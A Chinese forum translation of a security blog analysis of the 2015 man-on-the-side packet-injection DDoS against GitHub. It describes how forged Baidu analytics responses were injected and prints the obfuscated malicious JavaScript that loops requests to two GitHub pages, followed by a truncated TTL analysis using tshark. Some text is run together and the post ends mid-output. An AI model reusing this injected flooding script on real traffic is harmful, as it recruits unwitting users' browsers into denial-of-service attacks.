阅读:3655回复:0
对github的中间人攻击
◆0 简介
source: http://www.netresec.com/?page=Blog&month=2015-03&post=China%27s-Man-on-the-Side-Attack-on-GitHub 3月27号github官方发布公告 我们正在遭受github历史上最大的DDOS(分布式拒绝服务)攻击,攻击从3月26号,周四下午两点开始,攻击手段组合了多种攻击方式,从一些老式的攻击手段到新式,通过浏览器让毫不相干的围观群众参与到对github攻击流量的贡献,根据我们收到的报告推断,我们相信攻击的目的是让我们删除某些特定的内容。我们根据对网络攻击的观察可以推断出某大型组织使用一些被动和主动的网络设备来执行数据包注入攻击,就是中间人攻击来启动干死github,可以参考文章末尾的链接TTL analysis来了解我们如何推断这是一个中间人攻击。 简单来说,中间人攻击的流程如下: [*]一个不在中国无辜的用户进入了互联网 [*]无辜用户进入的网站从中国的服务器加载了一个javascript文件。(比如百度统计的脚本) [*]浏览器对于百度js的请求会被某国的被动设置检测到其请求进入中国。 [*]返回一个伪造的响应(注入三个数据包),而不是真正的百度统计脚本,就是说返回的是一个恶意的js脚本,导致用户浏览器不断请求github上两个特殊的页面。 我们用了一个简单的办法让浏览器加载恶意脚本,就是让浏览器去访问一些中国网站,加载了恶意js后,下面是我们在网络流量中观察到的恶意行为。 图片:2015062506553077089.png 工具 CapLoader 该脚本导致我们浏览器不断循环访问 github (IP address 192.30.252.[128-131]) ◆1 百度统计 百度统计脚本会加载url像酱紫 http://hm.baidu.com/h.js?0deadbeef000deadbeef000deadbeef0 正常版http://hm.baidu.com/hm.js?0deadbeef000deadbeef000deadbeef0 异步版正常情况下请求百度脚本是张这个样子的 注入后的恶意脚本是张这个样子的 注入后的响应每次的表现都是一样的,注入的三个数据包是下面这个样子的。 Injected packet #1: #!bashHTTP/1.1 200 OKServer: ApacheConnection: closeContent-Type: text/javascriptContent-Length: 1130Injected packet #2: #!javascripteval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c][/c]||e(c);k=[function(e){return r[e]}];e=function(){return'w+'};c=1};while(c--)if(k[c][/c])p=p.replace(new RegExp('b'+e(c)+'b','g'),k[c][/c]);return p}('l.k("h/5>");!J.K&&l.k("h/5>");j=(6 4).c();7 g=0;3 i(){7 a=6 4;V 4.Z(a.10(),a.w(),a.x(),a.11(),a.y(),a.z())/A}d=["m://n.9/E","m://n.9/F-G"];o=d.I;3 e(){7 a=i()%o;q(d[a])}3 q(a){7 b;$.M({N:a,O:"5",P:Q,R:!0,S:3(){s=(6 4).c()},U:3(){f=(6 4).c();b=W.X(f-s);Y>f-j&&(u(b),g+=1)}})}3 u(a){v("e()",a)}v("e()",D);',62,64,'|||function|Date|script|new|var|jquery|com|||getTime|url_array|r_send2|responseTime|count|x3c|unixtime|startime|write|document|https|github|NUM|src|get|http|requestTime|js|r_send|setTimeout|getMonth|getDay|getMinutes|getSeconds|1E3|baidu|min|2E3|greatfire|cn|nytimes|libs|length|window|jQuery|code|ajax|url|dataType|timeouInjected packet #3: #!javascriptt|1E4|cache|beforeSend|latest|complete|return|Math|floor|3E5|UTC|getFullYear|getHours'.split('|'),0,{}))恶意的js是经过混淆的,只需要一些简单的反混淆就可以得到源码。 其中可以看到,两个目标url为 github.com/greatfire和github.com/cn-nytimes 这两个均为一个用于规避(GFW)的镜像站点。 ◆2 TTL Analysis Time-To-Live (TTL) 分析是一种非常有效的手段用于进行中间人攻击的分析,我们用这种方法在之前对于 iCloud, Yahoo, Google和GitHub的攻击上进行分析并且取得了不错的结果。 这次攻击github一个有趣的地方在于,攻击者修改数据包的IP TTL值来致使难以定位恶意数据包的注入点。我们使用Tshark来输出Source-IP, Destination-IP, TCP-Flags和IP-TTL,请看下面箭头记号 #!bashtshark -r baidu-high-ttl.pcap -T fields -e ip.src -e ip.dst -e tcp.flags -e ip.ttl192.168.70.160 61.135.185.140 ◆002 64 |
|